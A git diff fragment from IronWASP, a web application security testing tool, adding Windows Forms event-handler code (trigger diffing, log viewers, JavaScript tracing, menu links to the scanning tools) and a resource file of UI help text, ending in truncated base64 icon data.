ConfigViewHideLL.Text = "Hide Config"; + ConfigPanelTabs.SelectTab("ConfigDisplayRulesTab"); + } + + private void ResultsShowTriggersMenuLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + LogMenu.Show(ResultsTriggersGrid, 10, 10); + } + + private void DoDiffBtn_Click(object sender, EventArgs e) + { + List TriggerIds = new List(); + TriggerIds = new List(Finding.TriggersSelectedForDiff); + + if (TriggerIds.Count == 2) + { + SessionsDiffer SD = new SessionsDiffer(); + Trigger A; + Trigger B; + if (TriggerIds[0] == 0) + { + A = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); + } + else + { + A = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerIds[0] - 1); + } + if (TriggerIds[1] == 0) + { + B = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); + } + else + { + B = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerIds[1] - 1); + } + + Session First = null; + Session Second = null; + if (A.Response == null) + { + First = new Session(A.Request); + } + else + { + First = new Session(A.Request, A.Response); + } + if (B.Response == null) + { + Second = new Session(B.Request); + } + else + { + Second = new Session(B.Request, B.Response); + } + SD.SetSessions(First, Second); + SD.Show(); + } + else + { + if (TriggerIds.Count == 0) + { + MessageBox.Show("Select two items before doing a Diff. You have NOT selected any items currently"); + } + else if (TriggerIds.Count == 1) + { + MessageBox.Show("Select two items before doing a Diff. You have selected only one item currently"); + } + else if (TriggerIds.Count > 2) + { + MessageBox.Show("Select two items before doing a Diff. You have selected more than two items currently"); + } + } + } + + private void SelectForDiffTriggersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (SelectForDiffTriggersGrid.SelectedRows == null) return; + if (SelectForDiffTriggersGrid.SelectedRows.Count == 0) return; + + + SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value = !((bool)SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value); + + if ((bool)SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value) + { + if (SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Equals("Normal")) + { + Finding.TriggersSelectedForDiff.Add(0); + } + else + { + try + { + Finding.TriggersSelectedForDiff.Add(Int32.Parse(SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Replace("Trigger", "").Trim())); + } + catch { } + } + if (Finding.TriggersSelectedForDiff.Count > 2) + { + int i = Finding.TriggersSelectedForDiff[0]; + Finding.TriggersSelectedForDiff.RemoveAt(0); + + foreach (DataGridViewRow Row in SelectForDiffTriggersGrid.Rows) + { + if (i == 0 && Row.Cells[1].Value.ToString().Trim().Equals("Normal")) + { + Row.Cells[0].Value = false; + } + else + { + try + { + if (i == Int32.Parse(Row.Cells[1].Value.ToString().Replace("Trigger", "").Trim())) + { + Row.Cells[0].Value = false; + } + } + catch { } + } + } + } + } + else + { + if (SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Equals("Normal")) + { + Finding.TriggersSelectedForDiff.Remove(0); + } + else + { + try + { + Finding.TriggersSelectedForDiff.Remove(Int32.Parse(SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Replace("Trigger", "").Trim())); + } + catch { } + } + } + } + + private void ResultsTriggersGrid_SelectionChanged(object sender, EventArgs e) + { + if (ResultsTriggersGrid.SelectedCells.Count < 1 || ResultsTriggersGrid.SelectedCells[0].Value == null) + { + return; + } + if (Finding.CurrentPluginResult != null) + { + if (ResultsTriggersGrid.SelectedCells[0].Value.ToString().Trim().Equals("Normal")) + { + IronUI.DisplayPluginResultsTrigger(-1); + } + else + { + int TriggerNumber = Int32.Parse(ResultsTriggersGrid.SelectedCells[0].Value.ToString().Replace("Trigger", "").Trim()) - 1; + IronUI.DisplayPluginResultsTrigger(TriggerNumber); + } + } + } + + private void ResultsShowScanTraceBtn_Click(object sender, EventArgs e) + { + try + { + List Traces = IronDB.GetScanTraces(Finding.CurrentPluginResult); + List Viewers = new List(); + + foreach (IronTrace Trace in Traces) + { + LogTraceViewer TraceViewer = new LogTraceViewer(Trace); + Viewers.Add(TraceViewer); + //StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + //SB.Append(Tools.RtfSafe(Trace.Message)); + //TraceViewer.ScanTraceMsgRTB.Rtf = SB.ToString(); + + //try + //{ + // List> OverviewEntries = IronTrace.GetOverviewEntriesFromXml(Trace.OverviewXml); + // //ScanTraceOverviewGrid.Rows.Clear(); + // foreach (Dictionary Entry in OverviewEntries) + // { + // TraceViewer.ScanTraceOverviewGrid.Rows.Add(new object[] { false, Entry["id"], Entry["log_id"], Entry["payload"], Entry["code"], Entry["length"], Entry["mime"], Entry["time"], Entry["signature"] }); + // } + // Viewers.Add(TraceViewer); + //} + //catch + //{ + // //Probaly an entry from the log of an older version + //} + } + foreach (LogTraceViewer Viewer in Viewers) + { + Viewer.Show(); + } + if (Viewers.Count > 1) + { + MessageBox.Show(string.Format("{0} traces entries matched this finding, so {0} windows have been opened", Viewers.Count)); + } + else if (Viewers.Count == 0) + { + MessageBox.Show("No trace entries matching this finding could be find. Please look for the associated trace manually in the 'Scan Trace' section of the 'Automated Scanning' section."); + } + } + catch (Exception Exp) + { + IronException.Report("Unable to load logs associated with Finding", Exp); + } + } + + private void TraceMsgRTB_LinkClicked(object sender, LinkClickedEventArgs e) + { + MessageBox.Show(e.LinkText); + } + + private void generateReportToolStripMenuItem_Click(object sender, EventArgs e) + { + if (IronUI.IsReportGenerationWizardOpen()) + { + IronUI.RGW.Activate(); + } + else + { + IronUI.RGW = new ReportGenerationWizard(); + TreeNode TopNode = IronUI.RGW.FindingsTree.Nodes.Add("All", "All"); + TopNode.Checked = true; + CopyTree(IronTree.TopNode, TopNode); + IronUI.RGW.Show(); + } + } + + void CopyTree(TreeNode FromNode, TreeNode ToNode) + { + if (FromNode.Level == 1 && FromNode.Index > 2) return; + foreach (TreeNode Node in FromNode.Nodes) + { + if (Node.Level == 1 && Node.Index > 2) continue; + TreeNode NewNode = ToNode.Nodes.Add(Node.Name, Node.Name); + NewNode.Checked = true; + if (Node.Nodes.Count > 0) + { + CopyTree(Node, NewNode); + } + } + } + + private void LoginCSRFTokenSequenceRecorderToolStripMenuItem_Click_1(object sender, EventArgs e) + { + Recording.Recorder.OpenWindow(); + } + + private void LoadRecodedSequenceToolStripMenuItem_Click(object sender, EventArgs e) + { + Recording.RecordingLoader.OpenWindow(); + } + + private void BrowserBasedCrawlerToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Tools.RunWith(Config.RootDir + "\\WebDriverCrawler.exe", IronProxy.Port.ToString()); + } + catch(Exception Exp) + { + IronException.Report("Error opening WebDriverCrawler", Exp); + MessageBox.Show("Error opening the crawler."); + } + } + + private void TestForCSRFProtectionToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.CsrfTester.OpenWindow(); + } + + private void WorkflowScannerToolStripMenuItem_Click(object sender, EventArgs e) + { + Workflow.WorkflowScannerWindow.OpenWindow(); + } + + private void DOMXSSAnalyzerToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.DomXssAnalyzer.OpenWindow(); + } + + private void TestForBrokenAuthenticationToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.BrokenAuthTester.OpenWindow(); + } + + private void TestForHiddenParameterToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.HiddenParameterGuesser.OpenWindow(); + } + + private void TestForPrvilegeEscalationToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.PrivillegeEscalationTester.OpenWindow(); + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void ProxyLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedProxyLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ScanLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedScanLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void TestLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedMTLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ShellLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedShellLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ProbeLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedProbeLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void OtherLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedOtherLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void SiteMapLogGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedSitemapLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void LogsFromAnotherIronWASPProjectFileToolStripMenuItem_Click(object sender, EventArgs e) + { + ProjectFileOpenDialog.InitialDirectory = Config.RootDir + "\\log\\"; + if (IronUI.IsImportFormOpen()) + { + return; + } + while (ProjectFileOpenDialog.ShowDialog() == DialogResult.OK) + { + if (!ProjectFileOpenDialog.SafeFileName.Equals("Project.iron", StringComparison.InvariantCultureIgnoreCase)) + { + MessageBox.Show("Only files named 'Project.iron' are allowed"); + } + else + { + FileInfo Info = new FileInfo(ProjectFileOpenDialog.FileName); + Import.ImportLogsFromIronwaspProjectFile(Info.Directory.FullName); + break; + } + } + } + + private void MainDocLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Docs.DocForNewUser DFNU = new Docs.DocForNewUser(); + DFNU.Show(); + } + + private void ProxyOpenBrowserLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + MessageBox.Show("To launch a browser pre-configued with this Proxy, from the main menu launch 'Tools'-> 'Browser based Crawler' and click on the 'Open Manual Crawler' button."); + } + + private void webSocketMessageFormaterToolStripMenuItem_Click(object sender, EventArgs e) + { + Hawas.WebsocketMessageAnalyzer.OpenWindow(); + } + + private void webSocketClientToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Tools.RunWith(Config.RootDir + "\\WebsocketClient.exe", IronProxy.Port.ToString()); + } + catch (Exception Exp) + { + IronException.Report("Error opening Websocket Client", Exp); + MessageBox.Show("Error opening the Websocket Client"); + } + } + + private void JsTraceEnableCB_CheckedChanged(object sender, EventArgs e) + { + JavaScriptTracer.InjectJavaScript = JsTraceEnableCB.Checked; + } + + private void JsTraceReloadFilesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + try + { + JavaScriptTracer.LoadJsToInset(); + } + catch(Exception Exp) + { + IronException.Report("Error reloading JS tracing files", Exp); + } + } + + private void JsTraceConfigCBS_CheckedChanged(object sender, EventArgs e) + { + JavaScriptTracer.MonitorEval = JsTraceMonitorEvalCB.Checked; + JavaScriptTracer.MonitorSetTimeout = JsTraceMonitorSetTimeoutCB.Checked; + JavaScriptTracer.MonitorSetInterval = JsTraceMonitorSetIntervalCB.Checked; + JavaScriptTracer.MonitorFunctionMethods = JsTraceMonitorFunctionMethodCB.Checked; + JavaScriptTracer.MonitorUserDefinedMethods = JsTraceMonitorNonNativeMethodCB.Checked; + + JavaScriptTracer.MonitorInnerHtmlAssignments = JsTraceMonitorInnerHtmlCB.Checked; + + JavaScriptTracer.MonitorXhr = JsTraceMonitorXhrCB.Checked; + } + + private void JsTraceResultsTab_SelectedIndexChanged(object sender, EventArgs e) + { + + } + + private void JsTraceResultsObservationsGrid_SelectionChanged(object sender, EventArgs e) + { + try + { + if (JsTraceResultsObservationsGrid.SelectedRows != null && JsTraceResultsObservationsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsObservationsGrid.SelectedRows[0].Cells["JSTRObservationDetailsClmn"].Value.ToString()); + } + } + catch(Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsMethodCallsGrid_SelectionChanged(object sender, EventArgs e) + { + try + { + if (JsTraceResultsMethodCallsGrid.SelectedRows != null && JsTraceResultsMethodCallsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsMethodCallsGrid.SelectedRows[0].Cells["JSTRNativeMethodCallDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + + } + + private void JsTraceResultsDomChangesGrid_SelectionChanged(object sender, EventArgs e) + { + try + { + if (JsTraceResultsDomChangesGrid.SelectedRows != null && JsTraceResultsDomChangesGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsDomChangesGrid.SelectedRows[0].Cells["JSTRDomChangesDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsAjaxCallsGrid_SelectionChanged(object sender, EventArgs e) + { + try + { + if (JsTraceResultsAjaxCallsGrid.SelectedRows != null && JsTraceResultsAjaxCallsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsAjaxCallsGrid.SelectedRows[0].Cells["JSTRAjaxCallsDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsObservationsGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + try + { + if (JsTraceResultsObservationsGrid.SelectedRows != null && JsTraceResultsObservationsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsObservationsGrid.SelectedRows[0].Cells["JSTRObservationDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsMethodCallsGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + try + { + if (JsTraceResultsMethodCallsGrid.SelectedRows != null && JsTraceResultsMethodCallsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsMethodCallsGrid.SelectedRows[0].Cells["JSTRNativeMethodCallDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsDomChangesGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + try + { + if (JsTraceResultsDomChangesGrid.SelectedRows != null && JsTraceResultsDomChangesGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsDomChangesGrid.SelectedRows[0].Cells["JSTRDomChangesDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + + private void JsTraceResultsAjaxCallsGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + try + { + if (JsTraceResultsAjaxCallsGrid.SelectedRows != null && JsTraceResultsAjaxCallsGrid.SelectedRows.Count == 1) + { + IronUI.ShowJsTraceResult(JsTraceResultsAjaxCallsGrid.SelectedRows[0].Cells["JSTRAjaxCallsDetailsClmn"].Value.ToString()); + } + } + catch (Exception Exp) + { + IronException.Report("Error show selected JS Trace result", Exp); + } + } + } +} + diff --git a/Iron/Main.resx b/Iron/Main.resx new file mode 100644 index 0000000..7d639e5 --- /dev/null +++ b/Iron/Main.resx @@ -0,0 +1,2765 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 619, 54 + + + To analyze the JavaScript of a website check the 'Enable JavaScripting Tracing' option and then lauch the built-in browser by going to Tools-> Browser based Crawler & click 'Open Manual Crawler'. As you browse through any website in this browser you should see trace information below. + + + True + + + True + + + True + + + True + + + 185, 18 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + Parameter values are usually selected for injection but sometimes the application might be handling parameter names differently. +Here you can select in which sections of the request injection must be performed in the Parameter name field. +The scanner adds a new parameter to the selected section with a dummy value and the payload is placed in this parameter name. + + + True + + + True + + + When you start an automated scan scan from the 'Console' section or by right-clicking on the 'Sitemap', IronWASP splits the scan in to tiny units called Scan Jobs. These scan jobs are listed below in this section. You can click on any of scan job entries below to stop a running scan job or to run a scan job again. +You can also create an individual scan job with a request by right-clicking on any of the entries in the 'Logs' section. + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + From this section you can edit and send an HTTP request and look at the headers and body of the response. You can either create a new request from an URL or pick any of the existing requests from the 'Logs' section. + + + 93, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + From this section you can create and send HTTP Requests and then view the corresponding Response. This can be useful during manual testing. + +The Requests are organised in groups and you can have more than one group with different names. You can switch between the groups by clicking on the group name at the top of this section. Group can be renamed and also deleted using the options available just about the Request. + +You can send the Request shown above by clicking on the 'Send Request' button. The corresponding Response is displayed below the Request. +The logs created by this section are stored in the logs section under the name 'Test Logs'. In addition to that all the Requests and Responses belonging to the currently selected group are shown in the 'Group History' section right next to the Response section. + +By clicking on an item in the Group History you can view it. You can also easily compare the difference between two Requests and Responses using the 'Diff Selected Sessions' feature. To use it, click on 'Select Log' radio button and then click on any two logs in the history, they will have a checkmark indicating that they are selected. After that you can click on the 'Diff Selected Sessions' button to view the diff. + +You can also right-click on any of the items in the history which will open a menu, this menu will give a variety of options that would enable you to scan this request and more. + +You can customize the request sending action by making use of the 'Scripted Send' feature. Click on the 'What's this?' link under the 'Scripted Send' button to know how it works. + + + This is where the magic happens. Create & run Python/Ruby scripts that make use of the powerful yet simple IronWASP API. To learn more about what can be done and how, use the Script Creation Assistant --> + + + Scripting is the most unique and powerful feature of IronWASP. The scripting support was designed to make the process of test automation as easy as possible. All the core features of IronWASP are exposed to the scripting shell through API specifically designed for Web Security Testing. Scripting is supported for the Python and Ruby languages. + +You can learn how to create scripts for most of your common requirements by using the 'Script Creation Assistant'. The button to lauch that is at the top of this section. It is an GUI based assistant that will quickly introduce you to the IronWASP API. For more detailed reference you can use the API documentation tree available on the right-side of this section. + +You switch between languages using the radio button available on the top-left corner of this section. + +There are three main sections here: + +Interactive Shell: +-------------------------- +This behaves similar to the command-line interactive mode of Python and Ruby. The input section for this mode is at the bottom of this section where a prompt can be seen. Type in your command and hit the enter key to execute the command. This mode is useful to testing out and exploring the features of the API and for small tasks. + +When your command is executing the input area will be disabled and will be enabled once after the command execution is complete. If you wish you terminate the execution forcefully then you can press the 'Ctrl+C' button. This behaves similar to pressing that key combination on your command prompt. + +Multi-line Shell: +--------------------------- +If you are going to write and execute scripts that are more than a few lines long then the Multi-line Shell is the right place. +You can type down your script like you would in a script editor. This section even provides syntax-highlighting. Once you have entered the script press the 'Execute MultiLine Script' button that appears just above this section. Please note that this button only becomes visible when you are in the MultiLine shell. +Pressing this button will automatically take you to the Interactive Shell section where you can see the results of your script or information about any errors in the script. + +Scripted Send: +----------------------- +'Scripted Send' is a feature of the Manual Testing section. It allows a user to customize how the request is sent from the Manual Testing section, using a script of their own. This is a very poweful and useful feature, there is a sample script available both in Python and Ruby that shows how this feature can be used. +You would be shown the first and last line of a method declaration. You can enter your script as the method body. The method as a whole will be executed when you press the 'Scripted Send' button in the Manual Testing section. +After you write your script press the 'Activate this Script for Scripted Send' checkbox at the top right corner of this section. +If your script does not have any syntax errors then this checkbox will get selected. If there are error then the error information will be shown at the bottom. If there are error during the execution of this script then they will be listed under the 'Exceptions' node of the tree on the left-hand side of IronWASP UI. + +NOTE: +------------ +Please note that the IronPython and IronRuby implementations are supported here and not the C implementation of these languages. +They both share the same syntax and most of the core libraries. Some libraries might not be available but since the IronWASP API is very rich you would most likely not be hindered by this limitation. If you need functionality that is not covered by the IronWASP API and by the included standard libraries of your language then you full have full access to the .NET framework APIs. + + + For ultimate control over traffic interception and manipulation you can use the Scripted Interception feature. Below a method named 'ShouldIntercept' is being declared. You can fill the body of the method in Python or Ruby. Inside this method body you can define your rules for traffic interception and also modification of the traffic. +To know more click on the 'Show Sample Script' link below. + + + IronWASP has an HTTP proxy built in to it. Unlike a regular HTTP proxy here you can intercept the traffic as it goes through the proxy, make changes to it and then forward it. IronWASP uses the FiddlerCore library for this functionality so you might see that name in error messages. + +At the top right corner of this section you would be able to see the port number on which the IronWASP proxy is listening. Right next to it you have a button to stop or start the proxy. NOTE: If you stop the proxy then the other tools in IronWASP will also stop functioning. + +You can make the proxy to listen on any port of your choice. If you pick a port below 1024 then IronWASP should be started with Administartor privilleges. + +Below the proxy port there is the 'Accept LoopBack Traffic Only' checkbox, if it is checked then IronWASP will only accept traffic from browsers running on the same machine as IronWASP. + +Clicking the 'Set as System Proxy' checkbox will automatically make IronWASP as the system's default proxy. + +If you want to import the Fiddler certificate to the list of Trusted Root CAs then you can download the certification from http://localhost:8081/FiddlerRoot.cer + +8081 is the default port number on which the proxy listen, if you change it to someother port then change the url accordingly. + + +Interception: +-------------------- +By default traffic going through the proxy is not intercepted it is just logged. You can see these logs in the 'Proxy Logs' area of the 'Logs' section. To intercept Requests or Responses click on the checkbox named 'Intercept Requests' and 'Intercept Responses'. + +Once a Request or Response is intercepted you would be able to edit it and clicking the 'Send' button will forward the updated Request or Response. Clicking on 'Drop' will close the TCP session associated with that Request or Response. + +When a Response is intercepted you will also be able to see the corresponding Request next to it. + +Clicking on the '\/' button under the 'View Logs' link will open a menu that would allow to you perform actions like scan the intercepted Request and more. + + +Interception Rules: +------------------------------ +The browser might be sending a lot of traffic, to only intercept those Requests and Responses that are of specific interest to you can mention filtering rules in IronWASP's config section. Click on the 'Show Config' link on the top right corner of IronWASP's UI to access this area. + + +Scripted Interception: +------------------------------- +This is a feature unique to IronWASP. This feature allows you to define which Requests and Responses should be intercepted through a script. You can also use this feature to automatically modify the Request and Response passing through the proxy without intercepting them. + +You would be shown the first and last line of a method declaration. You can enter your script as the method body. The method as a whole will be executed everytime a Request or Response passes through the proxy. +After you write your script press the 'Activate this Script for Scripted Interception' checkbox at the top right corner of this section. +If your script does not have any syntax errors then this checkbox will get selected. If there are error then the error information will be shown at the bottom. If there are errors during the execution of this script then they will be listed under the 'Exceptions' node of the tree on the left-hand side of IronWASP UI. + +There is a sample Python and Ruby script available to show how this feature can be used. You can also use the 'Script Creation Assistant' under the 'Dev Tools' menu to learn how to write scripts using the IronWASP API. + + + IronWASP logs the traffic passing through the Proxy and the traffic generated by the different tools and sections. Even when you create and send Requests using the Scripting API they are logged. + +The logs can be viewed from here. Clicking on a log below will display the associated Request and Response. You can right-click on a log entry and display a menu that will allow to perform various actions like scan the Request and more. + +By clicking on the 'Search and Analyze Logs' button you can search the logs using various filters and analyze the search results. +You can also select a group of logs from the search results and start automated scans on them. You can also perform tests like CSRF Testing, Privillege Escalation and Hidden Parameter Guessing on the logs from the search results in a semi-automated manner. + +The lower part of this section displays the list of various logs available. + +Proxy Logs - Traffic passing through the Proxy +Scan Logs - Traffic generated by the Automated Scanning section +Test Logs - Traffic generated from the Manual Testing section +Shell Logs - Traffic generated by using the IronWASP Scripting API +Probe Logs - Traffic generated by the crawler when doing a fully automated scan +Other Logs - Traffic generated by any other tools. The left side of the Other Logs contains the name of the tool that generated the traffic. Clicking on the name will display all associated logs. + +At any time only 2000 logs are displayed. To view more click on the > buttons. To move back press the < button. To move over a larger number of logs press the button with more number of > or < + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + +IronWASP identifies issues by analyzing HTTP Requests and/or HTTP Responses. +For some issues multiple pairs of Request/Response are analyzed. + +When an issue is reported these Request/Response pairs are also included along with the issue. +Each pair is termed as an Trigger. All Triggers are listed on the left of this section. +Clicking on a Trigger will show the associated Request/Response. + + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + 11, 50 + + + True + + + True + + + True + + + True + + + True + + + True + + + The details of the action are displayed below. You can view the corresponding Request and Response by clicking on the button to the right. The Request/Response are only logged a few seconds after the trace message so if the log does not load then wait for a few seconds and try again. + + + True + + + True + + + True + + + True + + + True + + + True + + + This section has tools and information that will be useful to Script, Plugin or Module writers. + +Plugins & Modules: +============== + +This section displays all the Active, Passive, Format and Session Plugins plus all the Modules loaded in to IronWASP. + + +Plugins: +----------------- +By clicking on the name of a Plugin you can view the code of the Plugin along with the location of the Plugin file. +You can open this plugin with the built-in script editor or an editor of your choice and make changes to it. Once you save it, you can right-click on plugin name and select 'Reload Selected Plugin' in the menu that appears. + +If you have created a new Plugin then to load it you can right click on any of the plugin names, this will open a new menu. In this menu you must click on the type of the plugin. For example if you want to add a new Format Plugin then click on the item named 'Format Plugins'. This will open sub-menu with the option 'Add New'. When you click on this IronWASP will look for new plugins in the corresponding directories and load a new ones it finds. + +Modules: +----------------- +Modules are more complicated and could be spread across mutliple files. When you click on a Module name it will show some of the module details and the location of the primary file in the Module. The Module might or might not have more files associated with it. + +There are two classifications under Modules - Loaded Modules and All Modules. All Modules shows all the Modules that are available with IronWASP. Loaded Modules shows only those Modules that have been loaded in to the memory. The Module is loaded in to the memory only when the user tries to run it. + +If you are developing a Module in Python or Ruby and if this module is listed in to the memory then you must right click on the module name and selected 'Reload Selected Module' for any code changes you made to take effect. + +If you are developing the Module in C# or VB.NET then you would have to close IronWASP and reload it again for changes to take effect. + + + + +Trace: +===== + +This section contains trace information that could help in debugging and trouble shooting. +If you are using Session Plugins in your scans or other tools then the trace associated with it will be listed under 'Session Plugin Trace'. + +If you are using Scripted Interception, Scripted Send feature or have written your own plugin or module then debugging is a important requirement. Though you cannot debug you code like you do in an IDE you can use the Tools.Trace command to print information to the 'Debug Trace' section. This can serve similar to the Print command, by placing these command in various sections of you code you can get an idea of how the program execution is progresssing. + +The exact command to use this feature is: +Python- Tools.Trace("some string 1", "some string 2") +Ruby- Tools.trace("some string 1", "some string 2") + +The "some string 1" will show up in the 'Source' column and "some string 2" will show up in the 'Message' column of the debug trace section. +When you click on a Trace entry it will show the full Message value. + + + 321, 18 + + + 491, 22 + + + 954, 24 + + + 713, 21 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + 4, 18 + + + 145, 48 + + + 313, 50 + + + 477, 54 + + + 87 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + 